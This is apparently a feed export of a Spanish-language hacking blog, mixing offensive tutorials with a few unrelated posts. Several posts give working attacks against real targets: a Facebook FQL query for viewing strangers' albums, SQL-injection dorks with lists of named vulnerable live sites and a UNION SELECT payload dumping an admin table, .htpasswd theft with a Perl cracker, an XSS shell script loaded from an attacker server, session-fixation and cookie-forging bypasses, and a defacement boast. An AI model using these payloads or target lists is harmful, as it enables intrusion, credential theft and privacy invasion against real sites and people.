tag:blogger.com,1999:blog-39091011836850896692024-03-05T06:41:57.653-08:00Argentina SecurityUnknownnoreply@blogger.comBlogger53125tag:blogger.com,1999:blog-3909101183685089669.post-11665796289229491012010-01-03T15:19:00.000-08:002010-01-03T15:25:34.118-08:00FQL (Facebook Query Language) Nos Hace Vulnerables.<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.saidaonline.com/en/newsgfx/facebook_hack_0504.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 525px; height: 294px;" src="http://www.saidaonline.com/en/newsgfx/facebook_hack_0504.jpg" alt="" border="0" /></a>Leyendo Segu-info me encontre con la noticia de que habia un problema en la configuracion de FQL (Facebook Query Language) entonces dije si el problema existe tengo que averiguar como se puede acceder a dicho contenido.<br />Vos a hacer un comentario que no tiene mucho que ver o tal vez si, hace poco una amiga hizo algo similar pero sin conocimientos informaticos, todo basado en la herramienta mas grande que poseemos los seres humanos (nuestro cerebro), alta ingeria social aplico ;) . Hecho el corolario pasemos a ver como podemos utilizar esta falla de configuracion a nuestro favor:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img705.imageshack.us/img705/1988/fbfqlconnections.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 803px; height: 382px;" src="http://img705.imageshack.us/img705/1988/fbfqlconnections.jpg" alt="" border="0" /></a>Con el siguiente codigo podremos obtener informacion de cualquier persona de facebook, con tan solo ser usuario standar (estar registrados :P).<br /><br /><blockquote>select<br /> aid,<br /> cover_pid,<br /> name,<br /> created,<br /> description,<br /> location,<br /> size,<br /> link,<br /> visible,<br /> type<br />from<br /> album<br />where<br /> owner<br />in<br />(<br /> select<br /> uid1<br /> from<br /> friend<br /> where<br /> uid1 = [ID FACEBOOK A VULNERAR]<br /> and<br /> uid2<br /> in<br /> (<br /> select<br /> uid1,<br /> uid2<br /> from<br /> friend<br /> where<br /> uid1 = [MI ID DE FACEBOOK]<br /> and<br /> (<br /> uid2 = [ID DE MI AMIGO]<br /> or<br /> uid1 = [ID DE MI AMIGO]<br /> )<br /> )<br />) </blockquote>ahora si prestan atencion en la imagen:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.delincuentedigital.com.ar/facefql.JPG"><img style="cursor: pointer; width: 946px; height: 497px;" src="http://www.delincuentedigital.com.ar/facefql.JPG" alt="" border="0" /></a><br /><br />Se puede apreciar lo que remarque a las izquierda, para que ustedes pongan de la misma forma y asi poder obtener los datos del id a investigar<br />En este caso vemos su album de fotos, pero si siguen investigando, pueden conseguir cualquier informacion. Si alguien quiere las tablas de facebook.com aqui estan: <a href="http://wiki.developers.facebook.com/index.php/FQL_Tables">http://wiki.developers.facebook.com/index.php/FQL_Tables</a><br />Solo es cuestion de leer un poquito mas para obtener otros datos<br /><br /><br />FUENTE: http://www.delincuentedigital.com.ar PD: GRACIAS NEGROOUnknownnoreply@blogger.com0tag:blogger.com,1999:blog-3909101183685089669.post-1567839641299051852009-11-05T16:22:00.000-08:002009-11-05T16:30:36.331-08:00PokerAr.com<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://pokerar.com/"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 328px; height: 146px;" src="http://pokerar.com/images/banner_logo.png" alt="" border="0" /></a><br /><br /><br /><br /><br /><br /><blockquote><span style="font-weight: bold;"><br /><br /><br />Juga al Poker en argentina, gratis y online. PokerAr te ofrece la posibilidad de jugar directamente online sin necesidad de descargar software alguno como en otros servidores, Registrate y Juga.</span></blockquote><br /><br /><a href="http://pokerar.com/">www.PokerAr.com<br /></a>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3909101183685089669.post-2514625303833588182009-11-05T16:09:00.000-08:002009-11-05T16:17:13.344-08:00Descontrolando Facebook<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.enmanosdenadie.com.ar/wp-content/uploads/2009/06/facebook.jpg"><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 351px; height: 139px;" src="http://www.enmanosdenadie.com.ar/wp-content/uploads/2009/06/facebook.jpg" border="0" alt="" /></a>
<br /> Cualquiera puede ver las fotos de Facebook de otra persona
<br /> sin haber sido aceptado como amigo muy fácilmente.
<br />
<br />
<br />
<br />Se trata de un bug o error de diseño en la API de Facebook que permite acceder a las fotos de un usuario con solo saber su número de ID.
<br />Los pasos son los siguientes:
<br />
<br /> 1. Tenemos que estar logueados en FB.
<br /> 2. Entrar a developers.facebook.com/tools.php
<br /> 3. Elegir en el menú desplegable “método” la opción “fql.query”
<br /> 4. En el cuadro de texto “query” que aparecerá ingresar la siguiente consulta:
<br /> SELECT location, link FROM album WHERE owner=idDelContacto
<br />
<br />Donde dice “idDelContacto” ahí tenemos que reemplazar eso por la ID de la persona que queremos espiar. Ese número es muy fácil de obtener, si te paras en cualquiera de los links relativos a ella (como Agregar amigo, etc) en la URL aparece la variable id=xxxxxxx. Ese es el número de id del usuario.
<br />
<br />Al hacer click en el botón aparecerá un código XML, del cual solo necesitas los links que están entre las etiquetas <link>. Ese texto lo pegás en un navegador.
<br />
<br />Si te fijas, la línea que acabas de pegar contiene el texto ( amp; ) es necesario borrar estos caracteres. a m p ; <- estos 4 caracteres. Y listo. Acceso a las fotos.
<br />
<br />Esto sirve para tomar conciencia de la peligrosidad de subir información privada a internet. La única forma de evitarlo es incrementar los privilegios de seguridad de las fotos.
<br />
<br />fuente: http://www.enmanosdenadie.com.arUnknownnoreply@blogger.com0tag:blogger.com,1999:blog-3909101183685089669.post-14645995095294018902009-05-23T11:04:00.000-07:002009-05-23T11:31:28.707-07:00CMS IDEAS2 - SQL INYEXION[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]<br /><br /> * Sql Inyexion<br /> * Author: Mont<br /> * www.argentinasecurity.com.ar<br /> * Developer: http://ideas2.com.ar (creo)<br /> * Dork: allinurl:"seccion_detalle.php?idseccion="<br /><br />[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]<br /><br /> * SqlInyexion<br /><br /><br /> PoC :<br /> http://www.WEBVICTIMA.com/[path_vulnerable]='<br /> <br /> Login:<br /> http://www.WEBVICTIMA.com/admin<br />[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]<br /><br /> * Paths Vulnerables<br /><br /><br /><br />producto_categoria.php?idcategoria=<br /><br />seccion_detalle.php?idseccion=<br /><br />seccion_categoria.php?idcategoria=<br /><br /><br />[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]<br /><br /> * Greetz:<br /><br /><br /> n3xtdoor, MenteCriminal, rodr1, Em3trix, Bacan!, e #Inyexion<br /><br />[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]<br /><br /> * Ejemplo aportado por MenteCriminal<br /><br /><br />http://www.piazzollatangoshow.com/seccion_detalle.php?idseccion=-1+UNION+SELECT+1,2,<br />3,4,5,concat_ws(0x3a,iduser_admin_login,usuario,password),7,8+<br />from+user_admin--<br /><br />ideas2 : pato<br /><br />--------------Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3909101183685089669.post-25991959908820037852009-05-13T14:59:00.000-07:002009-05-13T15:00:34.680-07:00WWW hackingparte del control de acceso, la parte que estara cubierta son las directivas "authconfig". mas abajo veremos un archivo .htaccess tipico para webs con seguridad moderadamente pobre. (la mayoria de los sites porno usan esto como medida de seguridad, una practica excelente para crackear passwords)<br /><br />/* a typical .htaccess file */ AuthName "Marvin Martian's Porn Emporium" AuthType Basic AuthUserFile /home/marvin/public_html/members/.htpasswd require valid-user<br /><br />como vemos arriba, no hay muchas directivas para proveer proteccion con password a un directorio. como pueden ver en este caso, el webmaster fue algo olgazan y colgo el archivo .htpasswd dentro del mismo directorio. es formato del .htpasswd es simple.<br /><br />en un server con seguridad pobre, no hay restricciones de acceso al archivo .htpasswd.<br />ya que el archivo .htpasswd esta en un directorio web-accessible, un usuario q tiene permiso de autentificarse en el directorio tiene el acceso a las listas de passwords.<br /><br />simplemente entramos a la url member/.htpasswd, y recibiremos una lista full de usuarios y sus passwords encriptadas, algo estupido realmente, aunq si el archivo no existe, en un servidor mal configurado simplemente leemos el archivo .htaccess para ver donde se encuentra. si se encuentra bajo el "web-root" entonces necesitaremos un exploit-cgi para obtener el archivo. pero en cualquier otro directorio utilizaremos simplemente nuestro navegador para obtenerlo:<br /><br />webmaster:TTn.VQRliM8c2 hornyguy:ZpgNeARi106aM fatmike69:drXj18zVxxBVc<br /><br />desafortunadamente necesitaremos crackear estas contrasenias.<br /><br />la unica manera de desencirptar estas passwords es usando la fuerza bruta.<br />un simple bruter en perl nos ayudara con la tarea:<br /><br />#! /usr/bin/perl # crack.pl by fwaggle open (PASSFILE, ".htpasswd"); my @passfile = ; close PASSFILE; open (DICTFILE, "dictionary.txt"); my @dictfile = ; close DICTFILE; foreach $line (@passfile) { my ($username, $encpass) = split(/:/, $line); foreach $attempt (@dictfile) { if ($encpass eq crypt($attempt, $encpass)) { print("Cracked: ${username}:${attempt}\n"); } } }<br /><br />aunq es recomendable usar otro cracker q funcione a mayor velocidad y en un lenguaje mas potente. (John the Ripper)<br /><br />*si simplemente buscamos hackear algo o practicar buscamos el siguiente dork en google, ".htpass" y luego en los resultados entramos a los que dicen "Index of /loquesea" esos contiene el archivo .htpasswd<br /><br /><br />Ya hablamos de como romper estos passwords, ahora hablaremos un poco de como darle seguridad.<br /> lo primero que debemos hacer es evitar q lean nuestro archivos .ht* , lo que podemos hacer como primera instancia es poner el archivo .htpasswd en algun lugar q no sea web-accessible (accesible via web).<br /> Luego debemos negar el acceso a estos archivos a nuestros clientes (si somos los administradores de un servidor) no hay razon para q un cliente necesite ver estos archivos, ya que son de configuracion server side.<br /><br />para ello usamos la siguiente directiva:<br />Order allow,deny Deny from all<br /> como paso final nos aseguramos de tener suEXEC corriendo en apache, para tener acceso a los archivos solo por httpd, de esta manera podemos modificar los permisos con chmod al momento de editarlos nada mas.<br /><br />Traducido para ArgentinaSecurity e Inyexion.com.ar por MONTUnknownnoreply@blogger.com0tag:blogger.com,1999:blog-3909101183685089669.post-33826270358786825022009-05-03T16:53:00.000-07:002009-05-03T16:54:07.112-07:00Noticias Valtic - Sql Inyexion[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]<br /><br /> * Sql Inyexion<br /> * Lo Encontro? Mont (Si la encontro otro llegue tarde xD AVISEN PLEASE SI ENCONTRO OTR0)<br /> * www.argentinasecurity.com.ar<br /> * http://www.valtic.com.ar/ (DESARROLLADOR<br /> * Dork: allinurl:noticias/display.php?ID<br /><br />[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]<br /><br /> * SqlInyexion<br /><br /><br /> PoC :<br /> http://www.WEBVICTIMA.com/noticias/display.php?ID='<br /><br />[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]<br /><br /> * Ejemplos<br /><br /><br /><br />http://www.promositios.com/noticias/display.php?ID=%27<br /><br />http://www.juegosgratisinternet.com/noticias/display.php?ID=%27<br /><br />http://www.antivirusgratis.com.ar/noticias/display.php?ID=%27<br /><br />http://www.tusbuscadores.com/notiprensa/display.php?ID=%27<br /><br />http://descargasantivirusgratis.com/noticias/display.php?ID=%27<br /><br />http://web.roldan.gov.ar/noticias.display.php?id=%27<br /><br />http://www.pandaantivirus.com.ar/noticias/display.php?ID=%27<br /><br />http://www.terravyt.com.ar/noticias/display.php?ID=%27<br /><br />http://www.labradorygolden.com.ar/noticias/display.php?ID=%27<br /><br />http://www.september11.com.ar/noticias/display.php?ID=%27<br /><br />http://www.hotelennewyork.com/noticias/display.php?ID=%27<br /><br />http://www.hotelenbrasil.com/noticias/display.php?ID=%27Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3909101183685089669.post-51741651807569370012009-04-10T09:24:00.000-07:002009-04-10T09:34:06.650-07:00Cronica Owned by Mont & Bacan<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img14.imageshack.us/img14/6922/cronicaowned3.jpg"><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 1280px; height: 800px;" src="http://img14.imageshack.us/img14/6922/cronicaowned3.jpg" border="0" alt="" /></a><br /><br />Los links a los demas screenshots:<br />http://img14.imageshack.us/img14/1664/cronicaowned.jpg<br />http://img14.imageshack.us/img14/6922/cronicaowned3.jpg<br />http://img15.imageshack.us/img15/4373/cronicaowned4.jpg<br />http://img15.imageshack.us/img15/3589/cronicaowned2.jpgUnknownnoreply@blogger.com0tag:blogger.com,1999:blog-3909101183685089669.post-44302445978287415512009-03-27T16:37:00.000-07:002009-03-27T17:39:47.873-07:00XSS TUNNELINGahora q ya lo soltaron en #RE por fin se puede soltar tan libremente :)<br /><br /><br />Que es un Canal XSS?<br /><br />Un Canal XSS es un canal interactivo entre 2 sistemas que se abre mediante un ataque XSS, A nivel tecnico es un tipo de aplicacion AJAX la cual puede solicitar comandos, enviar respuestas y hablar cross-domain.<br /><br /> La shell de xss es una herramienta que puede ser utilizada para configurar un canal xss entre la victima y el atacante, para<br /><br />que el atacante controle el navegador de su victima mediante el envio de comandos. esta comunicacion es bi-direccional.<br /><br /> Para hacer que la shell trabaje, el atacante necesita inyecctar el JavaScript de la shell XSS que es referenciado mediante un simple xss. desde este punto el atacante es libre de controlar el navegador de su victima, puede ver peticiones, respuestas, y puede hacer q el navegador haga lo q este le pida.<br /><br />un ejemplo de la inyeccion:<br /><br /><blockquote>http://victima.com/gay="> script<br /><br />src="http://xssshellserver/xssshell.asp" /script</blockquote><br /><br />http://rapidshare.com/files/214344116/XSSSS_tunelling.rar.htmlUnknownnoreply@blogger.com0tag:blogger.com,1999:blog-3909101183685089669.post-91302794335601072402009-01-30T08:44:00.000-08:002009-01-30T08:47:17.752-08:00La Verdad de los TESTS<br /><br />Autor: Nicolas Montanaro<br /><br />ArgentinaSecurity.com.ar<br /><br /><br /><br />Las redes sociales online han crecido de manera extrema en los ultimos anios, facebook posee 45 millones de miembros activos, y aun asi no es la mas grande del mundo, y esta es solo una de las tantas. En este texto no nos vamos a enforcar en que es facebook, sin embargo al mal uso que algunas personas le pueden dar a esta herramienta social con algo tan inocente como los tests.<br /><br />Sin darnos cuenta cada vez que respondemos tests, estamos revelando a millones de usuarios (en el caso de facebook 45) informacion sensible sobre nuestra persona,"Que Hora es?" "Donde Estas Ahora?" "Tu Nombre Completo:",'"Escribe tu numero de documento y luego suma sus digitos, ese es tu numero de la suerte"<br />Preguntas inocentes pero que a la vez revelan el horario y donde estamos usualmente a esa hora, nuestro nombre, numero de documento y un sin fin de datos q se obtienen con tan solo preguntar.<br /><br />Imaginemos que respondemos el siguiente test:<br /><br />Que tanto sabes de ti mismo?<br />tu nombre:<br />tu segundo nombre:<br />tu apellido:<br />nombre completo de tu madre:<br />nombre completo de tu padre:<br />fecha en que naciste:<br />tu padre de que trabaja:<br />tu madre de que trabaja:<br />que haces en este momento:<br />estas solo/a?:<br /><br />siempre que terminamos de hacer un test lo publicamos para "comparar nuestras respuestas con amigos" quien lo mire no siempre es "amigo" pero al leerlo sabe mucho y puede tener malas intenciones. (no es necesario preguntar a que hora esta vacia tu casa entonces podemos entrar a robar?)<br /><br />Si estuvieramos en la calle y alguien nos hace estas preguntas porque "solo quiere hacer un test", le mirariamos un par de veces la cara antes de responder, las notas que escribimos en facebook o sea cual sea la red social en la que estemos, NO TIENEN CARA por lo tanto confiamos.<br /><br />Nuestro nombre es un comienzo, Datosvirtuales es una pagina que tiene datos de varias entidades referente (por ejemplo veraz) pero claro, es pago. Pero la opción de buscar un nombre o un dni/cuit/cdi es gratuita, así que ponemos o el dni (si ya lo conseguimos para confirmar) o si no lo tenemos ponemos el nombre "Pérez Juan" (primero el apellido y sin las comillas). Y como respuesta veremos gratuitamente el dni/cuil/cdi. y esto es tan solo un simple ejemplo, si te quiero robar quizas no necesito tu dni pero... si se donde queda tu casa? www.telexplorer.com es una guia online no solo comercial sino recidencial, que con SOLO EL NOMBRE se puede determinar donde vivimos y no solo eso tambien entrando a<br />http://www.bcra.gov.ar/cenries/cr010000.asp?error=0<br />con nuestro cuit/cuil/cdi podemos saber si este tiene deudas! asi como estas hay miles de paginas dando vueltas por la red.<br /><br />Despues de todo no era solo un simple test no?<br /><br />Se que fue aburrido, pero es para cuidarlos :)<br /><br />ArgentinaSecurity.com.ar<br /><br />Proximamente mas consejos.. solo pidanUnknownnoreply@blogger.com0tag:blogger.com,1999:blog-3909101183685089669.post-79290117519627375272009-01-04T07:44:00.000-08:002009-01-04T07:45:34.490-08:00Introducción a JavaScriptIndice de Contenidos<br />1: Introducción<br />2: El primer script<br />3: Programación básica<br />4: Programación avanzada<br />5: DOM<br />6: Eventos<br />7: Formularios<br />8: Otras utilidades<br />9: Detección y corrección de errores<br />10: Recursos útiles<br />11: Ejercicios resueltos<br /><br /><a href="http://usuarios.lycos.es/aton69/introduccion_javascript.pdf">Descarga</a>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3909101183685089669.post-40679347758387597132009-01-04T07:40:00.002-08:002009-01-04T07:42:04.530-08:00Introducción a XMLPDF de 182 paginas sobre introduccion a XML.<br /><br />Contenido:<br /><br />Estructura de un documento XML<br />Documentos XML bien-formados<br />El prólogo<br />Elementos<br />Atributos<br />Entidades predefinidas<br />Secciones CDATA<br />Comentarios<br />Document Type Definitions (DTDs)<br />Declaraciones tipo Elemento<br />Modelos de contenido<br />Declaraciones de lista de Atributos<br />Tipos de Atributos<br />Declaración de Entidades<br />Ejemplo de DTD<br />Schemas XML<br />Extended Style Language (XSL)<br />XML Document Object Model y Visual Basic<br />XML Document Object Model y Java<br />Lenguaje de enlace XML<br />Enlaces de Interes<br /><br /><a href="http://clan-aof.iespana.es/inyx/introduccion%20a%20XML.pdf">Link</a><br /><br />Fuente: inyexion.com.arUnknownnoreply@blogger.com0tag:blogger.com,1999:blog-3909101183685089669.post-74669619519615257232009-01-04T07:40:00.001-08:002009-01-04T07:40:50.304-08:00Bypassear la verificación de registro en forosVieron cuando por ejemplo quieren descargar X aplicación en un foro, pero no pueden hasta que no estén registrados y te dice " Solo para usuarios registrados " o frases por el estilo, seguramente muchos salen de los foros porque no tienen ni las ganas ni el tiempo de registrarse..., estuve viendo si había en la red algún tutorial para bypassear esta verificación como no encontré ninguno estuve analizando los foros y encontré 2 maneras de bypassearlos (sin registrarte obviamente) y muy fácilmente.<br /><br /><br />1- Bypass Impresión<br /><br />Este bypass se trata de simular Imprimir el tema, en muchos foros está la opción de imprimir el tema o post la cual nos permite pasar la verificación de saber si estas registrado, y permite ver el contenido completo del post sin registrarte.<br />Este fallo esta especialmente en todos los foros SMF ( en todas de sus versiones ) y seguramente en otros foros prefabricados...<br /><br />ejemplo (foro SMF):<br />http://foro.xxx.com/index.php/topic,146146.0.html<br /><br />Eso es un tema normal el cual si hay por ejemplo un link no te lo dejaría verlo sino estas registrado, pero si tratamos de imprimir el tema nos dejaría ver todo el contenido "oculto"...<br /><br />http://foro.xxx.com/index.php?action=printpage;topic=146146.0<br /><br />Como pueden observar es muy fácil pasar la verificacion, es cuestión de darle a donde dice Imprimir y leer todo el contenido...,<br /><br /><br />2- Bypass POSTCOUNT<br /><br />Este bypass se trata de ver solamente el post que contiene el contenido "privado" apartado de los demás post..., se pueden fijar en algunos foros que dentro de cada tema se cuentan los posts poniendo como primer post un 1, segundo post un 2 y etc... ejemplo en los foros Vbulletin se muestra el conteo ( no es el caso de los foros SMF o hasta ahora no lo vi... ) de cada post. Hasta ahora no hay nada raro, pero en cada conteo ( ejemplo en el numero 1 ) hay un link de referencia el cual te lleva a una ventana nueva viendo solo el post que elegiste ver ( en este caso el numero 1 )<br /> y aca esta el fallo porque en el archivo al cual se pasa el numero de tema y el numero de post no se verifica si el usuario esta registrado, por lo cual podemos ver los links/contenido que no podíamos ver sin estar registrado, esto pasa en la mayoría de foros el cual lleva el conteo de los posts...<br /> <br />ejemplo real (foro Vbulletin):<br />http://www.ps360consolasforos.es/foro/showthread.php?t=14<br /><br />Podemos ver que no estamos registrado por lo cual no podemos ver los links pero como este foro tiene tal fallo podemos bypassear la verificación solo entrando al link del conteo de post (en este caso se pueden fijar que esta arriba a la derecha... #1)<br /><br />http://www.ps360consolasforos.es/foro/showpost.php?p=14&postcount=1<br /><br />Y ya podemos ver todos los links...<br /><br />PD: No son las únicas formas que hay de bypassear esta verificación, también se puede bypassear cambiando el User-Agent... entre otras, pero bueno estas 2 formas no las vi en la red...<br /><br />Saludos!!<br /><br />Autor: InyeXion<br />Www.InyeXion.com.ar - Www.InyeXion.netUnknownnoreply@blogger.com0tag:blogger.com,1999:blog-3909101183685089669.post-15460591984176244712008-10-01T10:12:00.000-07:002008-10-01T10:16:37.343-07:00Session Fixation - El poderoso desconocidoBueno, hace tiempo que no escribo nada para el foro y.. estube viendo que nunca aporte nada en defacing. En parte, nunca aporté nada pq no es lo que más me apasiona. Decidí escribir sobre esto pq poco y nada se habla y es una tecnica poderosa... ok, no tanto como sql inject o rfi, pero es muy util a la hora de vulnerar un objetivo concreto saber mas que las 2 tecnicas antes nombradas.<br /><br />##### desde acá empiezo el texto, los comentarios tontos los pongo con "#" xD<br /><br />Session Fixation Atacks<br /><br />By MurdeR - www.thefreeks.com.ar<br /><br />Session:<br /><br />Las sesiones no son más que una "asociacion" entre el host y el cliente. Para no tener que estar recordando todo el tiempo la contraseña via html, se utiliza un sistema simple que consiste en asociar una cuenta con un numero "ID" y almacenando por un lado en temp y por otro en las cookies dicha sesion, posterior y constatemente el server comprueba que los numeritos coincidan hasta que finaliza la sesión y se destruye.<br />Hay muchos ataques destinados a obtener esos hermosos numeros aleatorios, los más comunes son tan simples como la fuerza bruta o la intercepción (via xss normalmente) y los mas complejos, los session fixation.<br /><br />Session Fixation: <br /><br />Este ataque consiste en establecer el numero de id antes de que el administrador se identifique, así luego no seria necesario obtenerlo-- pq seria el previamente establecido. Es sencillo, si le vendo una alarma a un señor y yo elijo el codigo, para mi no sería un problema hackearlo :D.. algo similar.<br />La mecanica del ataque varía según el sistema que utilice la aplicación web objetivo, normalmente es posible encontrarse con campos ocultos en los formularios, cookies o argumentos en la url. <br />Un ejemplo de una cookie en smf 1.1.2 es el siguiente:<br /><br />PHPSESSID dac203acc5aeef19708c9ec19984c31e xxxxx.com / at end of session<br /><br />Obviamente el id es "dac203acc5aeef19708c9ec19984c31e" y teniendo eso cargado en las cookies, tendremos total control de la cuenta. <br />Analizando un poco el funcionamiento del sistema (de smf..) se puede notar que el numero id se crea y carga como una variable que se pasa al server via url:<br /><br />www.diosdelared.com/index.php/action=login&PHPSESSID=ads234sfd5dgf19708c9ec19984c345<br /><br />Si enviaramos ese enlace a zeus, y el se identificara (bueno... y si este foro fuera smf 1.1.2), la sesión se crearía con su numero de ID.<br />Entonces solo faltaria crear una cuenta en este foro, identificarse, editar las cookies y cambiar el numero ID. Voilá ya estaría defaceado el foro xD.<br /><br />En el ejemplo el numero se puede predefinir como un argumento en la url, lo cual es muy facil y a la vez muy cantoso. Tambien se puede dar que el id se cargue como un campo hidden en un form, en este caso sería necesario imitar la pagina de logon y alterar dicho campo, algo más complicado y que requiriía (aun más) ingenieria social. <br />En caso de que la session se cargue directamente en las cookies, es un poco más complicado. Hay (que yo sepa) dos formas de crear una cookie falsa a un cliente:<br />Via side-script (jscript..) o via el meta tag Set-Cookie. Paso a explicarlos:<br /><br />Cross side scripting:<br /><br />Suponiendo que tenemos un sistema que es vulnerable a session fixation y que encontramos una vulnerabilidad de XSS no sería necesario armar un sofisticado y lento proseso para robarle las cookies, podriamos crear una simple linea que creara la session falsa y usarla al instante.<br />En js tenemos la funcion document.cookie que permite crea numeros de id. Si www.diosdelared.com fuera vulnerable a algun xss solo tendriamos que hacer:<br /><br />http://www.diosdelared.com/<script>document.cookie="sessioni<br />d=blabla123123”;</script>.sda<br /><br />Conseguir que el administrador entre en esa url y ejecute el script es tan sensillo como enviar un enlace www.thefreeks.com.ar con un iframe a esa url y espera a que este entre :)<br /><br />Una buena idea sería ponerle una fecha de expiración larga, por ejemplo el año 2099:<br /><br />http://www.diosdelared.com/<script>document.cookie="sessionid=1234;%20Expires=Friday,%202-Feb-2099%2000:00:00%20GMT”;</script>.sda<br /><br />Así tendriamos control de la cuenta robada hasta muy viejos...<br /><br />HTML Meta Injection:<br /><br />Con html, la meta tag Set-Cookie tambien nos posibilita crear una sesion:<br /><br />meta http-equiv=set-Cookie content="sessionid=asdasd123123"<br /><br />Si tenemos una web que por casualidad es vulnerable a xss pero que tiene controlado el uso de < script > se puede intentar injectar el meta directamente:<br /><br />http://www.diosdelared.com/< meta http-equiv=set-Cookie content="sessionid=asdasd123123" >.com<br /><br />De esta forma obtendriamos el mismo resultado que en el caso anterior.<br /><br /><br />Otras ideas... DNS Poisoning :) mi muy mas que favorito.<br /><br />Esto da para hacer otro post, es más, quizas lo haga... la idea es lograr penetrar en el server dns, añadir un registro en el dns a por ejemplo www.diosdelared.com que apunte a un servidor del atacante.<br />Luego poner en dicho servidor una web exactamente identica a la original y que solicite la identifiacion del usuario para luego hacer un redirect a la web original.<br /><br /><br />Espero haberme explicado con mas o menos claridad. Es un tema complicado y seguramente quedarán dudas. Si metí la pata en algo, diganmelo y lo corrijo. <br /><br />Salu2 MurdeR^^Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3909101183685089669.post-12370050488455420482008-10-01T10:06:00.000-07:002008-10-01T10:10:50.426-07:00Insecure Cookie HandlingTutorial realizado por InyeXion sobre Insecure Cookie Handling (inseguridad en el manejo de cookies) en realidad lo hizo porque no vio en la red un solo tutorial referencial a esta vulnerabilidad, asi que espera que se entienda y sino cualquier cosa preguntenle! (jajajajajaj)<br /><br />Insecure Cookie Handling<br /> <br />#Explicación#<br /><br />Insecure Cookie Handling (inseguridad en el manejo de cookies) esta vulnerabilidad la vemos cada ves mas en sitios de seguridad web(Seguridad en apps webs..), pero hay muchos que todavía no saben de que se trata, no saben como explotarla o no la entienden por diferentes motivos..., espero solventar las dudas que tengan con este tutorial.<br /><br />Esta vulnerabilidad depende del perfil en la que la veamos puede parecer tonta o ingeniosa. Tonta diría por la forma en la que los programadores administran las cookies para restringir la sección de los usuarios no autorizados, e ingeniosa por la forma que los atacantes burlan la verificación...<br /><br />Cookies: Las cookies forman parte del protocolo HTTP, este protocolo se usa para intercambiar mensajes entre el servidor y el cliente utilizando solicitudes y respuestas HTTP. El encabezado HTTP reservado para el uso de las cookies se denomina<br /><br />Set-Cookie. Está compuesto por valores:<br /><br />Set-Cookie: nombre=valor; domain=nombre de dominio; expires=vencimiento de la cookie; path=ruta donde la cookie sera validada; secure<br /><br />Ejemplo:<br /><br />Set-Cookie: admin=1; domain=www.web.com; expires=Friday, 2-Feb-2009 00:00:00 GMT; path=/; secure<br /><br />Secure: Solo se usa si la cookie es enviada por conexion segura (SSL) y es opcional.<br /><br />#Explotacion#<br /><br />La explotación es muy fácil, creo que muchos ya se la están imaginando..., pondremos algunos ejemplos.<br /><br /><blockquote><?<br />if(isset($_COOKIE['admin']) && $_COOKIE['admin'] == 1)<br />{<br />echo "Bienvenido a la administración...";<br /><br />}else{<br /><br />echo "No estas autorizado";<br /><br />}<br />?></blockquote><br /><br />En este caso tendríamos que crear una cookie con el valor 1. Lo haremos en JavaScript pero se puede hacer con un plugin de Firefox o cualquier herramienta, el objetivo es crear la cookie. Entonces ingresaremos en el sitio y previamente ponemos en la barra del navegador...<br /><br /><blockquote>javascript:document.cookie="admin=1; path=/";</blockquote><br /><br />Ahora entramos nuevamente al login y tendrás acceso a la administración en este caso...<br /><br />Otro ejemplo:<br /><blockquote><?<br />if($_COOKIE['user'] == 1 && $_COOKIE['pass'] == 1)<br />{<br />echo "Autorizado";<br />}else{<br />echo "No autorizado";<br />}<br />?></blockquote><br /><br />Como en el caso anterior entramos a la web e insertamos..<br /><br />javascript:document.cookie="user=1; path=/"; document.cookie="pass=1; path=/";<br /><br />Ahí creamos 2 cookies la cual sirven para pasar la verificación. Entramos nuevamente a la web siendo ya autorizado.<br /><br />Vamos con el ultimo ejemplo:<br /><br /><blockquote>?<br /><br />$user = md5(base64_encode("admin"));<br /><br />if($_COOKIE['usuario'] == $user && $_COOKIE['pass'] == 1)<br />{<br />echo "Administración";<br />}else{<br />echo "Acceso Incorrecto";<br />}?></blockquote><br /><br />Bueno hay que explicar unas cositas de este ejemplo, primero tenemos que saber como sacar el nombre del usuario para que posteriormente podamos encriptar primero en base64 y después en md5, como no somos magos como para adivinar el usuario tenemos que usar la lógica... bien puede ser un nombre de usuario por default (como admin, administrador etc..) o sino nos podemos fijar quien postea en la web, en la mayoria de los CMS dice el usuario que posteo. Supongamos que tiene como usuario "admin" (como el script de arriba) entonces encriptamos el usuario para que podamos crear la cookie con ese valor como muestro abajo:<br /><br /><blockquote>javascript:document.cookie="usuario=db69fc039dcbd2962cb4d28f5891aae1; path=/"; document.cookie="pass=1; path=/";</blockquote><br /><br />#Posibles Soluciones#<br /><br />Podemos utilizar cookies pero manejarlas de la forma correcta para que no puedan bypassear la verificación, con manejarla de la forma correcta me refiero a que no hagan una verificacion estatica, que sea dinamica depende del administrador, ejemplo que en la cookie guarde un usuario(elejido por el admin previamente) y la contraseña codificadas, entre otras posibilidades...<br />Tambien podemos combinar verificaciones ejemplo cookies y sessiones, queda a imaginacion de uno de como armar la verificacion siempre y cuando este seguro que la verificación 